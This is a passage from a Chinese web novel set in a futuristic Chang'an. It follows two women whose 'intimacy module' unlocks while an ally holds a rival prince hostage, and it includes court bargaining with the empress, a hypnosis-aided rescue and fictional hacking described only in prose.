沈逆眼眶上还挂着一颗晶莹又醒目的泪,需要人哄似的可怜,却捧着边烬的脸,将她的整个世界包入掌心里。
“六年前没办法讨厌你,现在也是。师姐……别让我再离开你。”
这一刻边烬知道了,心头那份时时会涌上来的酸楚是什么。
是喜欢。
即便前程难料,即便坠入万劫不复,这一刻的喜欢都足以烫入生命。
可是,来不及了。
边烬正要将她的手移开。
眼前忽然闪过一行字。
亲密度加一。
【恭喜二位情深伉俪,亲密度到达六十,连理模块现已开通。二位能尽情使用连理模块中的所有功能。末路生如寄,情义值万金。民政司连理办预祝二位白首同归,结永世之好。】
沈逆和边烬都怔住了。
连理模块竟在此刻开通。
昨夜那些汹涌的牵扯都相距咫尺,今日在泪眼中欺瞒,心痛难当,甚至忘记了亲密度的事,它竟忽然而至。
一心追求它不来,抛到脑后它自现。
沈逆忍不住笑。
边烬嘴角也漾起笑意,但很快又收回。
沈逆看边烬唇上的红肿还未消退,昨夜滚烫的记忆在心口翻动。
想再品尝这双唇,边烬脸色发红,转开。
“连理模块已开,无需再做这些了。”
“可是……”
“大理寺的人还在外面。”
现在和沈逆共处一室有些危险,既然连理模块已经开了,边烬没有后顾之忧,打算去前厅。
沈逆将她拉回来,坐到软塌上。
“先别着急,我仔细看一下网上的视频。放心,万姑姑机敏,应付那帮人手到擒来。”
沈逆将视频导入软件中,分析了一遍。
“的确不是伪造的,是出自记忆模块。”
边烬心头略略一沉。
随后沈逆的话又让她眼眸发亮。
“不过有剪辑的痕迹。这视频无疑是秦无商散播出去的。秦无商都能炼出魔种,想编辑一段影片再轻松不过。但她高明的不是剪辑手段,而是瞒神弄鬼的伎俩。她明白,若是完全伪造是很容易被识破的。但假象里参一点真进去,便极容易迷惑人心。估计她说话也是如此,十句之中半句真。”
沈逆双手极快地敲击键盘,边烬问她:
“你在黑入云端?”
“对。有些人的记忆模块会开通云端存储功能,我碰碰运气,看这个记忆影像的主人有没有开通。若是有,就能通过数据匹配到原始的影像。到时候一对比,就知道秦无商散播的视频为恶意修剪过的版本。”
边烬:“只能碰碰运气,毕竟记忆模块太私密,除非是极其重要的记忆,生怕损坏,否则很少人会愿意备份到云端。”
沈逆“嗯”了一声,“要是我,临死前想保存个大秘密,说不定会拼尽最后一口气把证据备个份。反正先让它跑着,能不能找到再说……”
就在这时,窗外传来笃笃声,像是某种鸟类用喙在敲窗户。
沈逆打开窗,是去驰援曾倾洛的侦查鸟回来了。
沈逆伸手,侦查鸟落在它的手臂上,张开嘴,放出一段加密投影。
是曾倾洛。
背景在她出租屋内。
而画面里的人让沈逆和边烬讶异地对视一眼。
是李极。
李极被蒙着眼,脖子上套着禁锢环,双臂反绑在身后的椅背上,看上去情绪非常糟,甚至不知道镜头在对着自己拍摄,气急败坏道:
“我裙子上到底沾了什么?你带我这一路过来走的什么路?黏糊糊的好恶心。放开我,很难受……曾倾洛!”
“我想去净房……曾倾洛!”
“曾倾洛,你在不在?你把我带到何处?曾倾洛!”
曾倾洛并不搭理她。
不过是为了不暴露行踪走了草丛泥地罢了,她脑袋上还有一根没发现的枯草呢。
李极见曾倾洛并不搭理她,换了另一套说辞。
“你抓了我也不可能杀了我,你也知道我是安王,我死了,不仅长安城,整个帝国都会掀起腥风血雨,这不是你能掌控得了的。你若现在将我放了,我或许会看在我们……”
曾倾洛随手将一只八爪鱼玩偶塞到她喋喋不休的嘴里。
李极:“呜呜呜呜呜呜呜?!”
你拿什么东西塞我?!
李极:“呜呜呜呜呜?!”
你敢这样对我?!
往里推了推,塞紧。
李极:……
曾倾洛走到另一个房间,把门关好,镜头对准自己。
曾倾洛:“大师姐小师姐,我没事。这安王联合秦无商对我们双极楼图谋不轨。此刻她在我家里,如何处置,等你们回复。”
李极落入曾倾洛手里,这谁能想到。
沈逆开怀道:“一晚上不啃声的倾洛,竟干了惊天动地的大事。”
边烬也很意外,也担心。
“这安王狡诈,还有精神天赋,不好让倾洛与她相处过久。只是如她所说,此人不好掌控。杀了,便是帮李渃元大忙,不止会大涨李渃元士气,还可能落下把柄,让她弹压咱们更加轻易。可若不杀,安王能和秦无商联手一次,就能联手第二次,后患无穷。”
沈逆想了想,笑了。
沈逆这一笑,边烬就知道她有了主意。
笑得越甜,主意越坏。
沈逆站起身,去换官服。
“师妹去哪?”
沈逆回眸,意味深长道:“去见李渃元。你也不必跟大理寺走了。倾洛这回真是神来之笔,咱们便作壁上观,看看这李氏两姐妹怎么斗个你死我活。”
沈逆这么一说,边烬立即意会。
的确,这是个一石多鸟的好计策。
两人一同往外走的时候,沈逆看向边烬的衣衫。
之前就注意到边烬穿着她的衣衫,沈逆问道:“我的衣衫好穿吗?”
边烬才想起这回事。
边烬本计划自己去和大理寺的人相碰,若是无法回来了,穿着沈逆的衣衫,想她的时候也能有一丝安慰。
如今倒是有些尴尬。
边烬生硬道:“拿错了。”
“哦,我信了。”
边烬:……
第82章
侦查鸟再飞回来的时候,曾倾洛正紧绷着身子坐在窗边,禁锢环细索依旧套在她的腿侧。
这一夜对她而言太漫长了。
李极还坐在冷硬的椅子上,动不了,看不见,说不出。
蒙着李极眼睛的是曾倾洛从衣角撕下来的黑布。
李极心口在不断起伏着,脖子上是发亮的汗水。
衣襟歪了些,露出锁骨下方一点点已经变淡的青色痕迹。
那是曾倾洛留下的吻痕。
记忆忽然闪现。
在帝国客栈顶层的那几晚,是她此生最荒诞的时光。
不停地交缠、放纵,受不住的时候口齿想要找个发泄的出口。
那女人一边对她胡作非为,肆无忌惮地将她开发,一边在她耳边温柔道:
“吃不住了可以咬我。”
曾倾洛从她肩头咬到心口,咬了几次,便是她使了几次的坏。
事后,看她身上被咬出的痕迹,曾倾洛心疼地问她:
“我是不是下口太重了?”
那女人和她蹭蹭鼻尖,指尖去勾她的小虎牙。
“不会啊,宝贝疼我,一点都不疼。你可以咬得再用力一点。”
……
笃笃。
侦查鸟敲窗的声音将曾倾洛的思绪抽了回来。
暗暗吸了一大口气,曾倾洛臊得很。
为什么在想这些烂事。
轻声打开窗,侦查鸟双爪抓着她的手臂,被带进屋,没发出半点声音。
曾倾洛租住的小屋,地处六十六坊中面积最大,人口最多最杂的一个坊。
昼时满街三教九流,来去匆匆。只要能吃上一口饭,夜里有地方睡觉,什么活都有人做。
到了夜里,花花绿绿的招牌点亮,另一波在夜间谋生的人才刚刚苏醒。
斗殴、酗酒,甚至是谋杀,屡见不鲜。
这是长安城最复杂之地。很多黑户都藏匿于此,是黑魔方的排查都艰难无比的地界。
所以曾倾洛才将李极藏在这儿,没有直接带到靖安侯府。靖安侯府目标太大,肯定会被察觉。
而且劫持李极事关重大,若是被发现也是她一人之事,不会连累师姐们。
等安稳之后再联系,以防万一。
李极那帮手下一定在四处找她,但想要将此坊掀个底朝天,没三五天不可能。
三五天的时间,足够让她和师姐们联系上,想好怎么处置李极了。
一切如她计划推进着。
开窗接侦查鸟进来的时候,曾倾洛警觉地查看窗外情况。
天空中飞的什么东西都有,有市售的风筝,还有各种民间机械师研制的机器,每晚都有乱飞的机器缠上老式电线,害一整片区域停电。
小小侦查鸟很不起眼。
合上窗,侦查鸟带回了师姐们的加密视频。
曾倾洛将加密视频直接发送到自己的记忆模块里,只有她自己能看见。
看完之后,松了一口气。
不愧是小师姐,这的确是最佳的解决方式。
那接下来的,便是等待师姐们的通知了。
她的任务就是守住李极,不能让她逃跑。
“唔……”
李极似乎从短暂的梦里醒来,轻呼了一声。
曾倾洛看向她,将回复视频输入侦查鸟,用虹膜锁定,将它放飞。
李极:“呜呜呜。”
曾倾洛。
曾倾洛走到她面前,见她额头上的血还没止住,顺着她的脸颊一直淌到脖子,半边身子都染红了。哼呢声也越来越弱,脖子上全是汗水。
曾倾洛拿来医药箱,给她止血。
重要的人质,暂时还不能死。
“唔……”
李极吃疼地闷哼,曾倾洛没说话,帮她缝合好。
缝合的过程很痛,李极身子在压抑地颤抖。
蒙着眼的布湿透了,从下方渗出眼泪。
曾倾洛暗暗呼吸,调整着情绪,强迫自己不看不想,只专注眼前的事。
缝合之后,曾倾洛盖上医药箱就要走,李极虚弱地连哼了好几声,有话要说。
曾倾洛见她嘴角有晶莹的水痕,被堵了这么久,多少会有些失控。
估计这位金枝玉叶从未这么狼狈羞臊过。
曾倾洛将八爪鱼玩偶取出来,李极终于能合上嘴了,粗粗地喘气。
嘴角微红,有几丝银丝从唇面下坠。
她意识到自己的失态,立即羞耻地抿住唇。
曾倾洛将玩偶放到一旁,拿了杯水压在李极嘴边。
李极一口气喝完,说:“我想去净房。”
曾倾洛想了想,将她从椅子上松开。李极刚想动,手腕就被再一次反绑到身后。
与此同时,李极终于听到了曾倾洛的声音。
“电击开到最大档,你若想跑,我不会客气。”
李极冷笑道:“我被你弄成这样,怎么跑?带我去净房。”
曾倾洛拎起细索,李极被她带起来。
这牵狗的手法……
李极:“你……”
曾倾洛:“不是要去净房?我不牵着你如何去?”
“你解开我的眼睛,我绝对不跑,我自己去。”
轻佻的谎言落进曾倾洛的耳中,换来她一丝嗤笑。
原来在这个女人心里,她那般幼稚可欺,以为随意丢一句谎话都能将她骗得团团转么?
曾倾洛脾气向来都很软,是有人偏偏要让她铁石心肠。
根本不搭理李极的话,曾倾洛拽着她在前面走,她跟在后面,跌跌撞撞。
这房子实在太小,李极走两步踢到桌子,走两步撞到门,拐个弯又碰到墙,疼得她闷哼了好几声。
曾倾洛走回来,直接抓住李极脖子上的禁锢环,领着她准确地走入净房。
李极的腿感受到了亵器的形状。
“松开我,不然如何解溲?”
曾倾洛没松开她,上前抽开她的腰带,全程看着别处。
李极恼到极致反而笑了。
“行,就当你伺候我……”
话还没说完,曾倾洛便压着她的肩头,压她坐在亵器上。
却没听见曾倾洛离开的动静。
李极命令道:“出去。”
曾倾洛没应她,也没动。
李极咬着唇,忿然道:“你在这,我,出不来。”
曾倾洛拎住禁锢环,要将她拎起来。
出不来,那就别出了。
李极想不明白,就算精神力失效,她们也有过几场欢愉,曾倾洛怎么能没有半点怜香惜玉,这样粗暴又毫不留情地对她。
李极不甘心地问道:“曾倾洛,你我好歹欢好多日,耳鬓厮磨时多么快活。你也一直对我念念不忘不是吗?才几日不见,怎么忍心这样对我?”
李极的控诉,换来的依旧是曾倾洛的冷言冷语。
曾倾洛道:“你继续说这些,只会让你看上去更可笑。”
李极沉默了。
李极从小在封地长大,先帝几乎没来看过她,可有娘亲在身侧,她根本不在意那个生她却未养过她的男人来不来。
体质弱,时常生病,娘亲更是将她护在掌心里宠着。
周围所有人敬她、爱她、怕她,她是在锦衣玉食,珠围翠绕中长大的。
后来有一日,娘亲莫名其妙忽然薨了,李极来不及悲伤,接连不断的暗杀滚滚而来,她九死一生活下来,不过那时她也长大了。
娘亲一直将她护得很好,即便走得匆忙,也早就为她谋划好了前路,留了千余能干又忠心的幕僚给她。
她天生一副绝美皮囊,招手便能呼风唤雨,睦州那些世家大族的嫡系,爱慕她的人不知凡几,想献殷勤都得排队。
她是未来的一国之主,万万人之上的天命所归。
曾倾洛这种路边野草般的小娘子,竟敢这样折辱她。
李极咬着唇,眼泪染湿了布条。
“今日的屈辱,我会一辈子铭记于心。曾倾洛,若这次我大难不死,我定会让你尝尝,什么叫痛不欲生。”
曾倾洛淡淡看向她。
心道,你已经让我品尝过了。
……
大明宫,李渃元寝殿。
李渃元这一夜都没睡,浑身酸软乏力,让内侍帮她打开万维网,浏览关于边烬的视频。
边烬浑身染血的模样,她看了一遍又一遍。
内侍见她看得全神贯注,眼眸中带着一丝诡异的情绪。
是兴奋。
就像是野兽看到了最喜欢的食物,垂涎欲滴。
内侍忐忑着,坐立难安,直到东方曙光乍现,韩复回来复命,他才得以离开。
内侍离开后,李渃元还没问,韩复就摇了摇头。
还是没找到李极。
李渃元一阵猛烈的咳嗽,韩复上来帮她顺背。
李渃元咳得小脸通红,好不容易缓下来了,听到内侍又回来了,站在屏风之外说靖安侯求见。
李渃元平淡道:“让沈卿在外面稍候片刻。”
“喏。”内侍退下了。
韩复正想说什么,李渃元反手抽了一巴掌在她脸上。
“你胜任不了丽景门门主,就让出位置,给别人当。”
一直到李渃元离开,韩复站在原地未动,也没说半个字.
沈逆站在空荡荡的前殿等着她。
李渃元刚刚扬起一个笑容,沈逆便单刀直入。
“这么早来觐见,打扰陛下了。但微臣见丽景门和南衙十二卫正在全城搜捕一个人,想到或许能解陛下燃眉之急,叨扰陛下休养还望陛下见谅。”
李渃元咳嗽了几声,轻声道:
“爱卿在说什么呢,朕怎么听不懂?丽景门和南衙护卫一直都在轮值排查黑魔方,怎么是搜捕某人呢?”
已经到这份上了,李渃元还在云山雾绕。
沈逆也懒得再遮掩,直言:“原来如此,微臣还以为陛下是在担心安王的安危,正在寻找安王呢。既然不是,那微臣不便再打扰,告退了。”
沈逆真的要走。
她这一走,回头会不会投入安王阵营,未可知。
以沈逆的能力,若安王真的落入她手中,她甚至可以通过控制安王,掌握整个睦州,直逼京师。
李渃元咬得牙关发紧。
这就是她打韩复的原因。
丽景门居然没能找到李极,让沈逆捡了便宜,来威胁她。
沈逆的确如李渃元所想,是来威胁这个当朝皇帝的。
她要用李极的命来交换,让李渃元下令限制大理寺对边烬的骚扰,封禁网络上所有兴风作浪的视频。
秦无商和李极携手在京师闹出这么大的动静,沈逆她们好一场苦战,李渃元这头居然毫无动静,就南衙护卫姗姗来迟,连韩复都不曾出现,可想而知这风平浪静正是李渃元授意。
只待她们两方互相残杀,这位天子便坐收渔翁之利。
当然,李渃元最想要的还是李极死。
若是沈逆和边烬能杀了李极,便是帮她除去心头大患。
除去之后,她亦能借着杀害皇室之名,进一步拿捏靖安侯府。
李渃元比沈逆更早知道秦无商和边烬那场对峙中出现的视频。
秦无商要边烬身败名裂,想要催出她更多的情感,趁机分裂她和沈逆的感情。
而李渃元仁君的美名伴随她一整个贞观之治,民情激愤,她自然要捉拿边烬归案,这也是她拿捏靖安侯府,控制沈逆的手段。
只可惜,算盘打得响,最后没能如愿以偿。
李极终究还是落入沈逆的手中。
这场帝与王的针锋相对,终于变成三足鼎立的格局。
甚至局势微妙地向沈逆倾斜。
李渃元此刻若不妥协,便是赌上京师的局势,甚至赌上她的皇位。
“爱卿。”
李渃元的声音从身后传来。
“安王来京的确有段时日了,一直没有来探望朕。你这么一说,或许安王真的遇到什么意外了,不然朕想不明白她怎会如此薄情。爱卿,你有安王的线索吗?”
背对着李渃元的沈逆无声冷笑。
“我夫人知道她的下落,可一早大理寺联合左骁卫上门对我夫人纠缠不休,竟说看到网上不知从何而来的视频,便要来抓她回去问罪。我夫人原本的伤还未好清楚,现在又让那大理寺搅得思忧过度,卧床不起。”
沈逆转身,直视着李渃元道:
“只怕得等到网上视频消失,大理寺退散,她才能想得起来安王的下落了。”
李渃元清癯的面容没有任何表情,而那双一向稚气的圆眼,此刻像看不尽的深潭。
任谁对上这双眼,都能清晰地明白,自己面对的是一位不露辞色的成年人,一只随时会露出毒牙的剧毒之物。
……
曾倾洛猛然睁开眼。
立即去看李极。
李极还坐在椅子上,垂着头,似乎也睡着了。
稍微安心了一些。
曾倾洛太困了,什么时候睡着的都不知道。
电子表震了一下,看了眼,是边烬打来的,并没接通,这是她们的暗号。
边烬要来了。
先前侦查鸟带来的视频中,沈逆说她将以李极为筹码,去找天子谈判。而边烬过去保护曾倾洛的安全。
等曾倾洛安全撤走,沈逆就把李极所在地告诉天子,与此同时也会将此地透露给李极的下属。
本就是她们之间的厮杀,两败俱伤便是最好的结局。
两方人马最后谁能率先赶到,李极究竟是死是活,便看李极自己的造化了。
一阵轻轻的敲门声。
依旧被遮着眼的李极抬起头,曾倾洛将玩偶塞回她口中。
从监控里确定,是大师姐。
曾倾洛定定地看了李极一眼,恐怕是最后一眼。
几息之后,她收回了目光,去开门。
边烬站在门口没有立刻进来,问她:“在里面?”
曾倾洛本想点头,目光却被边烬的脸吸引了。
是大师姐的脸,但神态和眉眼间有种不协调的违和,说不出的怪异感。
曾倾洛往后退了一步,只说了一个“你”字,脑袋猛然间剧痛。
是催眠!
“边烬”狠狠一棍敲在曾倾洛的脑袋上,曾倾洛结结实实地挨了一下,整个人往前跌,摔倒在地。
一个男人站到她面前,质问道:“为什么不杀了她?”
对她使用催眠的人,用她的权限给禁锢环解锁,进屋去了。
声音从里屋传来,曾倾洛已经听不清了。
那人说:“不要节外生枝。”
曾倾洛的意识便断在此处。
隔着门催眠曾倾洛的正是贺兰濯。
她和李极都是精神天赋者,可以通过精神力交流,但李极的精神天赋为C级,需要进入到一定的距离内才能感知到她的位置。
最新款的机械狗,加上精神力感知,终于找到她。
贺兰濯走进屋里,看到李极还活着,一直悬着的心总算有着落。
刚帮她解绑,听到门口传来一声骨碎声,贺兰濯往后看,一具男人的尸体倒下来,双眼翻白。
是和贺兰濯一起来的武卫,那个A级战斗天赋者,被人一招掰断了脑袋。
能有这样碾压实力的,是边烬!
边烬就在门口,与贺兰濯一墙之隔,两人尚未照面。
危机如芒在背,贺兰濯立即割断绳索抱起李极,不管不顾破窗而出,与此同时将手里的棍飞向曾倾洛的脑袋。
这一招自然是要牵制住边烬。
边烬必然会选择保下曾倾洛的性命,她有信心趁着边烬抵挡之时,带着李极隐匿入人群之中,顺利逃脱。
边烬却没挡,凌空一脚将棍踢了回去。
棍如极其强劲的箭矢,当空贯入贺兰濯的后背。
贺兰濯身体在空中失去平衡,带着李极摔入楼下的集市之中。
边烬刚要追,忽然一阵强烈的晕眩,尖锐的耳鸣一瞬让她感官尽失。
是精神力。
这道精神力万分强劲,搅乱了边烬的思绪。
即便只搅乱了很短的时间,待边烬再看清时,那人已经带着李极消失无踪。
第83章
铛。
沾血的金属棍从贺兰濯的后背取出,丢到地上。
麻药减轻了贺兰濯的痛苦,但冷汗还是覆满额头。
她伏在床上,脸色苍白,没有一丝血色。
帮她缝合的女人站在她身后,一边忙活一边说:
“你命大,这一招是冲着你要害去的。当时你是不是背着点什么?那东西改变了你下落的轨迹,所以偏了一点点,也只偏了一点点。否则连我也回天乏术啊。”
很快,麻药药效过了,贺兰濯艰难起身,下地。
帮她缝合的女人没有双腿,据说她的五脏六腑早就换成了机械,空留一张皮。坐在年久失修的破轮椅上,手里拿着烟杆,回眸看贺兰濯。
和她残缺落拓的身子相比,她这张脸过分洁净,成熟妍丽,长发披散却不似疯子,有种颓靡半死的风情。
贺兰濯果然脚下发软,跌跌撞撞。
她伤得很重,在逞强。
“现在走,不怕死在路上么?”那女人笑道。
贺兰濯道:“上次我留在这的衣服呢?”
女人抽了一口烟,说:“我这就一个衣柜。”
贺兰濯走到里屋,从衣柜里翻出她的衣服,换下血衣。
女人叹了一声:“真是无情,每次用完人家就走。”
贺兰濯:“我没给你银子?”
女人嗤笑道:“银子能解闷吗?”
“你该去找个人了,故渊。”
贺兰濯将衬衣的扣子扣到顶,穿上西服。
名为故渊的女人,是长安城中的一名黑医。
贺兰濯在城中固定治疗的医师。
去正规医馆麻烦,会留下痕迹。
黑医这儿简单,有银子就能让她当只锯嘴葫芦。
这故渊据说是个机械天赋者,曾经贺兰濯听过一耳朵关于她的事。有人说她师出名门,只可惜自甘堕落和妖道为伍,最后妖道抛弃了她,亦被逐出师门,落得人不人鬼不鬼的模样。
贺兰濯对她的事没兴趣,即便她有可能连医师执照都没有,也不妨碍她是个趁手的工具。
贺兰濯看不透她的真实能力——大概是因为机械义体占比太重。和人相比,她更接近于机械。
故渊嫌弃地“哎哟”一声。
“我都这样了,还能找谁?贺姐姐若是真的怜惜人家,让人家看看你的眼睛吧。据说你长了一双天底下最美的眼睛,我可太好奇……”
最后一个“了”字还没说完,贺兰濯无情地关上门。
走出狭窄昏暗的小巷,初夏的阳光忽然晒在她身上。
隔着护目镜,依旧让她恍惚。
扶着墙,撑起虚弱不堪的身子。
被贯穿的伤口痛感逐渐清晰,释放超量的精神力让她虚弱不堪。
可对付边烬,不这么做的话根本无法逃脱。
坐上回客栈的马车,贺兰濯拿出一块电子表,申请通话。
接通通话的人是康逸。
贺兰濯:“殿下如何了?”
康逸道:“殿下受了些惊吓,有些体热,还有点皮外伤,没有性命之忧。她……”
贺兰濯直接挂断,下马车时捏碎电子表,随手丢到路边的渣斗中。
正要上楼,看了眼时间,又拐到两条街之外的食肆,排队买了两碗红油饺饵,再拎六块脸一样大的牛肉饼,外加两串葡萄,再上去。
回到客房,第五阙本来还迷迷糊糊赖着床,闻到食物的香味立即醒了。
“是陈傻子家的饺饵,还有胖婶牛肉饼!”
第五阙震惊,今天是什么好日子,贺兰濯居然大早上帮她把喜欢的朝食都买回来了。
“都是给我吃的?”
贺兰濯:“不是。”
“啊?”
“喂小猪的。”
第五阙往她身上缠,大言不惭道:“我就是姐姐的小猪。”
贺兰濯嘴角刚刚微弯,第五阙没轻没重这一挂碰到她伤口,剧痛让她鼻尖冒了些冷汗。
忍过一波痛楚,平稳了声线,对第五阙道:“不洗漱不许吃。”
第五阙立即跑去洗涮。
到底是S级战斗天赋者,受了一身伤,睡个觉醒来就没什么感觉了。
这顿早膳贺兰濯就吃了一碗饺饵,第五阙将剩下的全吃了。
第五阙还说:“朝食不宜吃太多,吃个七分饱就好。一会儿我去找逆逆,你跟我一起去吗?”
贺兰濯不确定边烬有没有认出自己。
“你去吧,我想睡会儿。”
第五阙没问贺兰濯昨晚做什么去了,很明显她一夜都在外面,刚回。
她换了身衣服,即便昨夜穿出去的西服和现在这套很像,但细节是不同的。
第五阙漱口的时候想,对贺兰濯太关注也不是什么好事。
要是没这么关注,或许就不会发现这些细微的变化吧。
算了,别想。
贺兰濯就是喜欢她听话这点,边界感拉到哪儿,她就待在哪儿,不僭越。
贺兰濯将快要散架的身子投到床上,在昏迷的边缘,第五阙上来吻她。
“还不知道什么时候回来呢,我想预支今日的吻。”
虽说不僭越,但在允许的范围内讨糖吃的本事,第五阙已经登峰造极。
贺兰濯撑起几乎碎裂的精神,无奈地叹了声。
第五阙察觉到她情绪不太好,应该是昨夜累着了。
正想当个懂事的床伴,欲起身时,贺兰濯抚上她的脑袋,侧过脸主动吻上来。
第五阙被她吻得心口烫烫的,得寸进尺启开她的唇,吻得引火烧身。
“好了……我有点累,现在伺候不动你。”
贺兰濯声音有些沉,听上去快要睡着了。
“等你回来再说。近日外面不太平,别在外面瞎逛。”
第五阙被宠得有点懵。
贺兰濯说着说着就睡着了。
趁着贺兰濯睡着,第五阙开开心心在她唇上又落下一个吻,才意犹未尽地出门。
到侯府之前,第五阙习惯性在万维网上逛一圈。
总觉得今天网络气氛有点奇怪,资深网民们欲言又止,打着哑谜。
似乎在她熟睡的这段时间里发生了什么大事。
登录暗网看看。
没什么是暗网不能说的。
结果暗网也一片微妙的沉默。
有人贩卖昨夜的消息,需要一两星河铬素交换,或者一百万斤黄金。
疯了吧,怎么不去抢。
她必然不出这种冤枉钱,到了侯府问沈逆,她肯定知道。
沈逆见第五阙急匆匆地来问她消息,反诘:
“咱俩到底谁是探子?”
第五阙:“看你这样肯定知道真相!不过你眼睛怎么回事?”
沈逆看了眼镜子里的自己,眼眶红到能滴血。
“没什么,就是昨夜没怎么睡,早上还做了个手术,眼睛有点难受。”
“又给你夫人维修呢?”
“不是,是给倾洛做了手术。”
第五阙一怔,“小倾洛怎么了?!”
沈逆带第五阙到工作室。
边烬正坐在沙发上,一边刷着暗网一边陪曾倾洛。
见第五阙进来了,两人打了声招呼。
边烬停留在第五阙身上的目光稍微长了些,似乎在等待她说些什么。
第五阙没说什么特别的,也没发现边烬的异常,快步走到曾倾洛身边。
曾倾洛躺在手术床上还没醒,脑袋上已经包起来了。
第五阙:“怎么会弄成这样?捕杀异兽时受的伤吗?”
沈逆简略地跟她说了昨晚发生的事。
自然没提到贺兰濯。
边烬跟沈逆说,她到曾倾洛小屋时曾倾洛已经晕倒了。
边烬没有见到带走李极之人的脸,甚至连身形都只是匆匆一瞥。
但那份能威慑她的精神力,必定是S级的精神天赋者。
目前在长安城里的顶级精神天赋者少之又少,边烬不可能不怀疑贺兰濯。
在没有实实在在证据之前,她不想冤枉任何人,也不想打草惊蛇。
还有一点,袭击曾倾洛的人分明有机会一击毙命,但那人却没这么做,只是将她打晕。
身处乱局,边烬对这人的身份和立场很感兴趣。
沈逆和第五阙不啻发小的交情摆在这儿,边烬也不想让她俩为难。
边烬暗中观察第五阙,和平日里一样没心没肺,看来贺兰濯应该没露出异常。
第五阙在听完昨夜发生的事之后,目瞪口呆。
“什么?小倾洛居然挟持了安王?这安王藏得可深了,我在睦州这么多年都没见过她的真容,倾洛是怎么查到她下落的?”
沈逆:“倾洛也没跟我们提及,得等她醒来之后亲口说了。”
第五阙:“我就睡了一觉,怎么感觉错过了全世界?李渃元真的将所有关于边女郎的舆论压下去了?承诺以后无论是大理寺、丽景门还是南衙十二卫都不会找你们麻烦?可最后没能抓到安王啊,那她不是吃了哑巴亏,损失大了?哎,可太惨了……”
第五阙还在幸灾乐祸,忽然又道:
“那她什么好处都没捞着,回头反悔,又把那些视频放出来,或者再纵容衙门骚扰你们怎么办?”
沈逆微笑。
第五阙“噫”一声。
“看你这贼狐狸准备发功的模样,早就想好后招了吧。”
沈逆一边说“什么贼狐狸发功”,一边在键盘上敲了几下。
云端的记忆搜索还在继续,境内的云端已经快搜索完了,等搜索完之后会自动开始匹配相似的结果。
沈逆:“我当然不相信李渃元的为人,出尔反尔家常便饭。我只是需要更多的时间来寻找真正的记忆片段。”
第五阙:“如果找不到怎么办?人都伤成那样了,还有精力把记忆备份到云端么?而且北境环境恶劣,基站随时被毁,网有多慢你知道的。”
边烬一边翻看着网页,一边说:
“她早就伪造了一条视频。”
第五阙和沈逆同时“咦”了一声。
边烬看向沈逆。
“我应该没有冤枉你。”
沈逆就像准备了一肚子坏水,还没来得及使坏就被家长抓了个现行。
沈逆疑惑,“你怎么知道?”
边烬不想跟她说,她做坏事的时候,但凡自己在侧,她就会隔三差五心虚地瞄几眼过来。
边烬都不用走过去看她做什么,见那鬼鬼祟祟的样子就知道没在干好事儿。
边烬暂时还不想让沈逆知道自己这个小习惯,只道:
“刚才不确定,现在确定了。”
沈逆:……
师姐下套的本事能不能放在外人身上?
第五阙“嚯”了一声:“你当真弄了一条假视频?”
沈逆:“我这不是防着李渃元背信弃义么?”
见边烬又转开了目光,沈逆知道边烬不会训她了,理直气壮了很多:
“是秦无商造假在先,我以其人之道还治其人之身。我夫人必定没做过伤天害理的事,只是暂时没找到证据罢了。我提前把证据先备好了,何错之有?”
第五阙:“你还挺理所当然。”
边烬关掉了网页。
“可反常的是,李渃元并没有反悔。到目前为止,秦无商散播的视频再也没出现过,大理寺也没再来骚扰。她没找到李极,却也将此事压了下去。”
这么一说,李渃元那边的气氛的确很可疑。
第五阙随口道:“这么一来,你们就不用费心自证清白了。”
正是她这句话,让沈逆灵光一闪。
“阿阙,你的思路是对的。为什么李渃元这次没食言而肥,恐怕是不想我们继续追查真正的证据。只要安全了,谁还会再费尽心思自证清白?会不会真相与她有些牵扯,所以她不想我们真的找到?”
沈逆拍了第五阙一下。
“聪明。”
第五阙嘿嘿笑两声。
谁也不用知道她刚才就是信口胡说。
不过这只是沈逆的猜测,天子常年深居大明宫中,所做之事都借由他人之手,想要揭开她的真实意图并不容易。
沈逆跟第五阙说了对李渃元真实身份的猜想。
坐在一旁的边烬安静地听着。
看得出来,第五阙这几次拼死相救,让沈逆对她的信任更深。
第五阙听罢,震惊的表情半天没能从脸上下去。
“你是说,天子也是个凝胶娃娃?这也太刺激了吧。难道天子也是秦无商做的?不对不对,秦无商几岁,天子几岁。不过或许是秦无商师姐干的,她师姐大她许多。”
沈逆和边烬同时道:“师姐?”
第五阙:“你们不知道她有个师姐吗?哦对,她师姐的事儿早就被禁止谈及,要不是这师姐是我们第五家族的人,我也不知道还有这回事。她师姐的事还是我小姑姑跟我说的呢。小姑姑估计都不知道还有秦无商这个人。是我结合长安城得到的信息,才确定弦昼国女帝就是那个小师妹。”
沈逆:“她师姐,是唐Pro帝国的人?”
“是啊,她师姐还当过帝国的国师呢。秦无商本人也在唐Pro出生,不过后来不知道出什么事,国师的身份被废,这师姐妹俩的身份完全被内廷抹去了,史书上也被全部删除。我们家族里的长辈都以她为耻,不愿意提起。具体的事儿我不太清楚,回头我给我小姑姑联系一下,好好问问。”
沈逆:“好好好,越详细越好!”
第五阙:“好咧!”
第五阙回去了,临走时还交代,曾倾洛什么时候醒了跟她说,她要带一堆礼物过来好好犒劳。
沈逆看第五阙上了车,才道:“她最好是别再对倾洛太亲切,免得倾洛又误会。”
边烬:“误会?”
沈逆将曾倾洛曾经心慕第五阙,第五阙却早就和贺兰濯纠缠在一起的事儿说了。
沈逆:“阿阙这个缺心眼,对谁都很热情,希望她长长脑子,别再祸害人了。”
边烬心想,贺兰濯牵扯的人和事的确很深。
还有一个隐患。
当初想要藏住那荒唐的梦,找贺兰濯催眠,她还进入到了自己的潜意识之中,不知此事是不是个陷阱。
如今想来,那次的催眠更加荒唐了。
能排在边烬人生荒唐事的前三名。
边烬眉心紧拧,想着想着,思绪转回来的时候,发现沈逆正在观察她的表情。
边烬神情一定,“怎么?”
沈逆:“师姐还有什么事瞒着我吗?”
边烬还没回答,沈逆帮她回了:“自然是一大堆事都瞒着我了,对吧?”
沈逆靠得太近,边烬很难不想到昨夜两人在床榻上做的那些事。
沈逆托着她臀侧时,手指陷入皮肉里的触感,蓦然浮现在心头。
边烬呼吸有些不自在,脸往一旁侧了些。
此刻两人已经到了主院寝屋前,边烬进屋,沈逆跟进去。
刚进屋,沈逆就把边烬堵在门边。
沈逆当然察觉到连理模块开通之后,边烬变得冷淡许多。
可记忆都还没找回来,卸磨杀驴也杀的太早了吧?
看来视频的事,对她造成的影响比想象中的大。
她怕自己找回了记忆,发现那三年做的事超乎想象,便从此刻开始,为保护沈逆埋下伏笔。
不想让完整的自己伤害到沈逆。
沈逆都懂,但她不需要保护。
